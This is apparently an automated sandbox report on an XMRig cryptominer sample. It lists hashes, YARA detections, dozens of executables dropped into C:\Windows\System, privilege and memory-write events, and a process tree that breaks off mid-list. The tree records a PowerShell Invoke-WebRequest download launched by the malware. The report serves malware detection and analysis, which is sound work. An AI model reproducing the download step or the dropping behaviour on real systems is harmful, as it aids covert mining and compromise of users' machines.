xmrig | 8c71f9235564d57aca0ec8c773ebce07c356ee085c8e89ac297be295654f8dd1

Analysis

max time kernel
27s
max time network
31s
platform
windows7_x64
resource
win7-20240220-en
resource tags

arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system
submitted
29-04-2024 17:11

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
Size

2.3MB
MD5

082f78421e1b4f7caf9b26a671becb25
SHA1

6abc5f54f1b092121339420cf3bfcfedd97091c7
SHA256

8c71f9235564d57aca0ec8c773ebce07c356ee085c8e89ac297be295654f8dd1
SHA512

9d54f0d197e312c656063a79593c0e049cfd21674d79ab63df47d0f2f9d30f25b5c9d02d5e661af34b9902d7f0f01f328f29c8f3c945244675b727ea059d867d
SSDEEP

49152:Lz071uv4BPMkibTIA5lCx7kvRWa4pCkc30JqMopiqEq:NABu

Score

10^/10

xmrig miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 6 IoCs

miner

resource	yara_rule
behavioral1/memory/2400-129-0x000000013F740000-0x000000013FB32000-memory.dmp	xmrig
behavioral1/memory/2892-137-0x000000013F4C0000-0x000000013F8B2000-memory.dmp	xmrig
behavioral1/memory/2416-135-0x000000013F3E0000-0x000000013F7D2000-memory.dmp	xmrig
behavioral1/memory/2376-133-0x000000013F620000-0x000000013FA12000-memory.dmp	xmrig
behavioral1/memory/2484-131-0x000000013F0E0000-0x000000013F4D2000-memory.dmp	xmrig
behavioral1/memory/2168-28-0x000000013FA00000-0x000000013FDF2000-memory.dmp	xmrig

Executes dropped EXE 64 IoCs

pid	Process
2036	izcvCNG.exe
2644	WOYoEIc.exe
2168	TfHwBej.exe
2812	FDLfbhd.exe
2400	AVxWIRE.exe
2484	klAhAcN.exe
2376	KQHjMiE.exe
2416	gDSVNWL.exe
2892	zlObXQu.exe
1204	LpYQiod.exe
1948	JnEFHzC.exe
2588	acZLFeV.exe
2696	TUMzAhj.exe
2552	AwRZkAg.exe
1616	RshzvhJ.exe
2156	IsdUztM.exe
812	KAECIGp.exe
1928	bASggzg.exe
1648	TPMykEF.exe
1700	WEhMCDn.exe
2256	JGQukyz.exe
2348	hOBsuHp.exe
2784	TLaySdQ.exe
2076	muYhKKe.exe
1004	NKTXqDS.exe
2832	SHoZRiZ.exe
1764	nNyUqXU.exe
2240	jsvQgxN.exe
1116	ZkfKqRg.exe
964	CdhRvMW.exe
2744	OCBwbjk.exe
2340	PqtiKTd.exe
1220	VfKXnNZ.exe
788	sDyFdhy.exe
1576	TZgZmtq.exe
240	SAPgfpB.exe
1912	iYTuncq.exe
2056	XrCgjyZ.exe
3000	MyCKaSz.exe
576	LyiGxWP.exe
1328	eftaiiI.exe
1588	NZpsVhK.exe
1600	VptBAMf.exe
2016	wiaWxUA.exe
2180	jgdYumz.exe
2052	sQLwdEg.exe
2088	wJlhsXi.exe
912	iXbQpxy.exe
2844	mkLFkPG.exe
1292	CFpgoCP.exe
1540	UfJOlLX.exe
1532	pWmQeei.exe
2560	sZhHYlF.exe
2688	BRDREyd.exe
2708	jmZguZV.exe
2388	ZGinRvL.exe
2544	mRFeTXG.exe
2424	BFpyboo.exe
1808	iVcNlWl.exe
2764	eIfVIkx.exe
1728	BllAret.exe
1512	vQQWnlp.exe
1932	PwUPluI.exe
556	ENAYIUj.exe

Loads dropped DLL 64 IoCs

pid	Process
1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe

UPX packed file 44 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/1636-0-0x000000013F4A0000-0x000000013F892000-memory.dmp	upx
behavioral1/files/0x000c000000012253-6.dat	upx
behavioral1/files/0x000c000000014890-11.dat	upx
behavioral1/files/0x0008000000015662-12.dat	upx
behavioral1/memory/2036-16-0x000000013F880000-0x000000013FC72000-memory.dmp	upx
behavioral1/files/0x00070000000158d9-17.dat	upx
behavioral1/files/0x0008000000015b85-42.dat	upx
behavioral1/files/0x0006000000015f23-55.dat	upx
behavioral1/files/0x0006000000015fa6-60.dat	upx
behavioral1/files/0x0006000000016013-65.dat	upx
behavioral1/files/0x00060000000161ee-74.dat	upx
behavioral1/files/0x0006000000016c1f-100.dat	upx
behavioral1/files/0x0006000000016c38-112.dat	upx
behavioral1/files/0x0006000000016cb5-125.dat	upx
behavioral1/memory/2400-129-0x000000013F740000-0x000000013FB32000-memory.dmp	upx
behavioral1/files/0x0006000000016ce0-142.dat	upx
behavioral1/files/0x0006000000016c84-120.dat	upx
behavioral1/memory/2892-137-0x000000013F4C0000-0x000000013F8B2000-memory.dmp	upx
behavioral1/memory/2416-135-0x000000013F3E0000-0x000000013F7D2000-memory.dmp	upx
behavioral1/memory/2376-133-0x000000013F620000-0x000000013FA12000-memory.dmp	upx
behavioral1/memory/2484-131-0x000000013F0E0000-0x000000013F4D2000-memory.dmp	upx
behavioral1/files/0x0006000000016a28-109.dat	upx
behavioral1/files/0x0006000000016c30-104.dat	upx
behavioral1/files/0x0006000000016575-98.dat	upx
behavioral1/files/0x00060000000164ec-86.dat	upx
behavioral1/files/0x00060000000163eb-80.dat	upx
behavioral1/files/0x00060000000167bf-91.dat	upx
behavioral1/files/0x0006000000016122-71.dat	upx
behavioral1/files/0x00330000000150d9-150.dat	upx
behavioral1/files/0x0006000000016ced-153.dat	upx
behavioral1/files/0x0006000000016cfd-159.dat	upx
behavioral1/files/0x0006000000016d31-181.dat	upx
behavioral1/files/0x0006000000016d06-176.dat	upx
behavioral1/files/0x0006000000016d10-165.dat	upx
behavioral1/files/0x0006000000016d29-184.dat	upx
behavioral1/files/0x0006000000016cf3-175.dat	upx
behavioral1/files/0x0006000000016d21-172.dat	upx
behavioral1/files/0x0006000000016d18-178.dat	upx
behavioral1/files/0x0007000000015d9c-51.dat	upx
behavioral1/files/0x0016000000005586-40.dat	upx
behavioral1/files/0x0007000000015ae3-36.dat	upx
behavioral1/memory/2812-29-0x000000013F060000-0x000000013F452000-memory.dmp	upx
behavioral1/memory/2168-28-0x000000013FA00000-0x000000013FDF2000-memory.dmp	upx
behavioral1/memory/2644-27-0x000000013F110000-0x000000013F502000-memory.dmp	upx

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\bgQHfBg.exe	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
File created	C:\Windows\System\pZlrnZB.exe	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
File created	C:\Windows\System\DGsEZUf.exe	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
File created	C:\Windows\System\evHkJTO.exe	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
File created	C:\Windows\System\gmCETqG.exe	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
File created	C:\Windows\System\JTNydOX.exe	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
File created	C:\Windows\System\VHzGAlW.exe	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
File created	C:\Windows\System\DVeYQHa.exe	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
File created	C:\Windows\System\geaqjuL.exe	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
File created	C:\Windows\System\CoTOyaW.exe	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
File created	C:\Windows\System\zHtnIvC.exe	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
File created	C:\Windows\System\PmlcQmq.exe	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
File created	C:\Windows\System\OwBOKME.exe	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
File created	C:\Windows\System\gCRIXco.exe	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
File created	C:\Windows\System\HlJfbRX.exe	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
File created	C:\Windows\System\FzNwBFd.exe	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
File created	C:\Windows\System\vcplGHB.exe	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
File created	C:\Windows\System\JCahozA.exe	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
File created	C:\Windows\System\yyHRgYx.exe	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
File created	C:\Windows\System\TXaFNGk.exe	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
File created	C:\Windows\System\VDjokTX.exe	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
File created	C:\Windows\System\gzYFUSl.exe	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
File created	C:\Windows\System\aUiMGEd.exe	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
File created	C:\Windows\System\MiHyCNe.exe	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
File created	C:\Windows\System\LyiGxWP.exe	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
File created	C:\Windows\System\sZhHYlF.exe	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
File created	C:\Windows\System\eDmRCDV.exe	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
File created	C:\Windows\System\CXKrBnV.exe	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
File created	C:\Windows\System\UKAjOAz.exe	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
File created	C:\Windows\System\pWmQeei.exe	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
File created	C:\Windows\System\oQcnQwr.exe	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
File created	C:\Windows\System\HXtwxUi.exe	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
File created	C:\Windows\System\EgUVZia.exe	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
File created	C:\Windows\System\BmSJimO.exe	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
File created	C:\Windows\System\PeeSEvG.exe	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
File created	C:\Windows\System\MZQHyMo.exe	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
File created	C:\Windows\System\zpIzSeA.exe	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
File created	C:\Windows\System\clzJMft.exe	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
File created	C:\Windows\System\GXBHbMD.exe	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
File created	C:\Windows\System\QFJulOI.exe	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
File created	C:\Windows\System\ndGvPqa.exe	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
File created	C:\Windows\System\XuCmWXQ.exe	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
File created	C:\Windows\System\jRsXckn.exe	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
File created	C:\Windows\System\BIQGGZl.exe	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
File created	C:\Windows\System\jUXSwAA.exe	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
File created	C:\Windows\System\VqbQSLE.exe	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
File created	C:\Windows\System\PAvHNTW.exe	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
File created	C:\Windows\System\ifZhqdt.exe	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
File created	C:\Windows\System\etMFfih.exe	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
File created	C:\Windows\System\vsGCOJW.exe	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
File created	C:\Windows\System\RWIDYQB.exe	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
File created	C:\Windows\System\cMOKKKd.exe	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
File created	C:\Windows\System\pDKZNSS.exe	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
File created	C:\Windows\System\LtAedpz.exe	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
File created	C:\Windows\System\TpNZyAh.exe	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
File created	C:\Windows\System\sBWULYo.exe	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
File created	C:\Windows\System\dZKXHBR.exe	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
File created	C:\Windows\System\XLDUEwz.exe	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
File created	C:\Windows\System\KAECIGp.exe	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
File created	C:\Windows\System\rwilqDz.exe	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
File created	C:\Windows\System\MFgiibv.exe	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
File created	C:\Windows\System\klAhAcN.exe	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
File created	C:\Windows\System\IfsAACK.exe	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
File created	C:\Windows\System\oaCOnpZ.exe	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2968	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
Token: SeLockMemoryPrivilege	1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
Token: SeDebugPrivilege	2968	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1636 wrote to memory of 2968	1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe	29
PID 1636 wrote to memory of 2968	1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe	29
PID 1636 wrote to memory of 2968	1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe	29
PID 1636 wrote to memory of 2036	1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe	30
PID 1636 wrote to memory of 2036	1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe	30
PID 1636 wrote to memory of 2036	1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe	30
PID 1636 wrote to memory of 2644	1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe	31
PID 1636 wrote to memory of 2644	1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe	31
PID 1636 wrote to memory of 2644	1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe	31
PID 1636 wrote to memory of 2168	1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe	32
PID 1636 wrote to memory of 2168	1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe	32
PID 1636 wrote to memory of 2168	1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe	32
PID 1636 wrote to memory of 2812	1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe	33
PID 1636 wrote to memory of 2812	1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe	33
PID 1636 wrote to memory of 2812	1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe	33
PID 1636 wrote to memory of 2400	1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe	34
PID 1636 wrote to memory of 2400	1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe	34
PID 1636 wrote to memory of 2400	1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe	34
PID 1636 wrote to memory of 2484	1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe	35
PID 1636 wrote to memory of 2484	1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe	35
PID 1636 wrote to memory of 2484	1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe	35
PID 1636 wrote to memory of 2376	1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe	36
PID 1636 wrote to memory of 2376	1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe	36
PID 1636 wrote to memory of 2376	1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe	36
PID 1636 wrote to memory of 2416	1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe	37
PID 1636 wrote to memory of 2416	1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe	37
PID 1636 wrote to memory of 2416	1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe	37
PID 1636 wrote to memory of 2892	1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe	38
PID 1636 wrote to memory of 2892	1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe	38
PID 1636 wrote to memory of 2892	1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe	38
PID 1636 wrote to memory of 1204	1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe	39
PID 1636 wrote to memory of 1204	1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe	39
PID 1636 wrote to memory of 1204	1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe	39
PID 1636 wrote to memory of 1948	1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe	40
PID 1636 wrote to memory of 1948	1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe	40
PID 1636 wrote to memory of 1948	1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe	40
PID 1636 wrote to memory of 2588	1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe	41
PID 1636 wrote to memory of 2588	1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe	41
PID 1636 wrote to memory of 2588	1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe	41
PID 1636 wrote to memory of 2696	1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe	42
PID 1636 wrote to memory of 2696	1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe	42
PID 1636 wrote to memory of 2696	1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe	42
PID 1636 wrote to memory of 2552	1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe	43
PID 1636 wrote to memory of 2552	1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe	43
PID 1636 wrote to memory of 2552	1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe	43
PID 1636 wrote to memory of 1616	1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe	44
PID 1636 wrote to memory of 1616	1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe	44
PID 1636 wrote to memory of 1616	1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe	44
PID 1636 wrote to memory of 812	1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe	45
PID 1636 wrote to memory of 812	1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe	45
PID 1636 wrote to memory of 812	1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe	45
PID 1636 wrote to memory of 2156	1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe	46
PID 1636 wrote to memory of 2156	1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe	46
PID 1636 wrote to memory of 2156	1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe	46
PID 1636 wrote to memory of 1648	1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe	47
PID 1636 wrote to memory of 1648	1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe	47
PID 1636 wrote to memory of 1648	1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe	47
PID 1636 wrote to memory of 1928	1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe	48
PID 1636 wrote to memory of 1928	1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe	48
PID 1636 wrote to memory of 1928	1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe	48
PID 1636 wrote to memory of 2256	1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe	49
PID 1636 wrote to memory of 2256	1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe	49
PID 1636 wrote to memory of 2256	1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe	49
PID 1636 wrote to memory of 1700	1636	082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe	50

C:\Users\Admin\AppData\Local\Temp\082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\082f78421e1b4f7caf9b26a671becb25_JaffaCakes118.exe"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1636
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2968
- C:\Windows\System\izcvCNG.exe
  C:\Windows\System\izcvCNG.exe
  2⤵
  - Executes dropped EXE
  PID:2036
- C:\Windows\System\WOYoEIc.exe
  C:\Windows\System\WOYoEIc.exe
  2⤵
  - Executes dropped EXE
  PID:2644
- C:\Windows\System\TfHwBej.exe
  C:\Windows\System\TfHwBej.exe
  2⤵
  - Executes dropped EXE
  PID:2168
- C:\Windows\System\FDLfbhd.exe
  C:\Windows\System\FDLfbhd.exe
  2⤵
  - Executes dropped EXE
  PID:2812
- C:\Windows\System\AVxWIRE.exe
  C:\Windows\System\AVxWIRE.exe
  2⤵
  - Executes dropped EXE
  PID:2400
- C:\Windows\System\klAhAcN.exe
  C:\Windows\System\klAhAcN.exe
  2⤵
  - Executes dropped EXE
  PID:2484
- C:\Windows\System\KQHjMiE.exe
  C:\Windows\System\KQHjMiE.exe
  2⤵
  - Executes dropped EXE
  PID:2376
- C:\Windows\System\gDSVNWL.exe
  C:\Windows\System\gDSVNWL.exe
  2⤵
  - Executes dropped EXE
  PID:2416
- C:\Windows\System\zlObXQu.exe
  C:\Windows\System\zlObXQu.exe
  2⤵
  - Executes dropped EXE
  PID:2892
- C:\Windows\System\LpYQiod.exe
  C:\Windows\System\LpYQiod.exe
  2⤵
  - Executes dropped EXE
  PID:1204
- C:\Windows\System\JnEFHzC.exe
  C:\Windows\System\JnEFHzC.exe
  2⤵
  - Executes dropped EXE
  PID:1948
- C:\Windows\System\acZLFeV.exe
  C:\Windows\System\acZLFeV.exe
  2⤵
  - Executes dropped EXE
  PID:2588
- C:\Windows\System\TUMzAhj.exe
  C:\Windows\System\TUMzAhj.exe
  2⤵
  - Executes dropped EXE
  PID:2696
- C:\Windows\System\AwRZkAg.exe
  C:\Windows\System\AwRZkAg.exe
  2⤵
  - Executes dropped EXE
  PID:2552
- C:\Windows\System\RshzvhJ.exe
  C:\Windows\System\RshzvhJ.exe
  2⤵
  - Executes dropped EXE
  PID:1616
- C:\Windows\System\KAECIGp.exe
  C:\Windows\System\KAECIGp.exe
  2⤵
  - Executes dropped EXE
  PID:812
- C:\Windows\System\IsdUztM.exe
  C:\Windows\System\IsdUztM.exe
  2⤵
  - Executes dropped EXE
  PID:2156
- C:\Windows\System\TPMykEF.exe
  C:\Windows\System\TPMykEF.exe
  2⤵
  - Executes dropped EXE
  PID:1648
- C:\Windows\System\bASggzg.exe
  C:\Windows\System\bASggzg.exe
  2⤵
  - Executes dropped EXE
  PID:1928
- C:\Windows\System\JGQukyz.exe
  C:\Windows\System\JGQukyz.exe
  2⤵
  - Executes dropped EXE
  PID:2256
- C:\Windows\System\WEhMCDn.exe
  C:\Windows\System\WEhMCDn.exe
  2⤵
  - Executes dropped EXE
  PID:1700
- C:\Windows\System\hOBsuHp.exe
  C:\Windows\System\hOBsuHp.exe
  2⤵
  - Executes dropped EXE
  PID:2348
- C:\Windows\System\TLaySdQ.exe
  C:\Windows\System\TLaySdQ.exe
  2⤵
  - Executes dropped EXE
  PID:2784
- C:\Windows\System\muYhKKe.exe
  C:\Windows\System\muYhKKe.exe
  2⤵
  - Executes dropped EXE
  PID:2076
- C:\Windows\System\NKTXqDS.exe
  C:\Windows\System\NKTXqDS.exe
  2⤵
  - Executes dropped EXE
  PID:1004
- C:\Windows\System\CdhRvMW.exe
  C:\Windows\System\CdhRvMW.exe
  2⤵
  - Executes dropped EXE
  PID:964
- C:\Windows\System\SHoZRiZ.exe
  C:\Windows\System\SHoZRiZ.exe
  2⤵
  - Executes dropped EXE
  PID:2832
- C:\Windows\System\OCBwbjk.exe
  C:\Windows\System\OCBwbjk.exe
  2⤵
  - Executes dropped EXE
  PID:2744
- C:\Windows\System\nNyUqXU.exe
  C:\Windows\System\nNyUqXU.exe
  2⤵
